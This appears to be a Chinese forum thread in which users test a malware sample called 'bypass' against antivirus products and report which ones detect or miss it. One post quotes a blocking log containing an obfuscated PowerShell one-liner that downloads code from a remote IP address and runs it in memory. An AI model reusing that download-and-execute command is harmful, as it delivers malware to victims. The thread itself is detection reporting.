bypass

显示全部楼层 · 发表于 2023-9-9 17:43:29

761773275 发表于 2023-9-9 14:28
SOPHOS

请使用论坛编辑功能~

显示全部楼层 · 发表于 2023-9-9 18:22:04

WD解压：Trojan:Win32/Sabsik.FL.A!ml

显示全部楼层 · 发表于 2023-9-9 18:40:34

ESET解压杀

显示全部楼层 · 发表于 2023-9-9 18:44:34

调用PS访问网络

行为: 网络连接（TCP）
拦截规则: 漏洞防御(拦截无文件攻击：禁止访问网络)
响应动作: 询问（允许）
拦截时间: 2023-09-09 18:43:38
拦截次数: 1
进程名称: powershell.exe
进程路径: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
进程命令行: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" i'r'm 'http://198.44.184.235:80/bypass' | iex
操作目标: 198.44.184.235:80

复制代码

显示全部楼层 · 发表于 2023-9-9 19:38:10

Panda Miss

显示全部楼层 · 发表于 2023-9-9 20:04:38

cylance

[病毒样本] bypass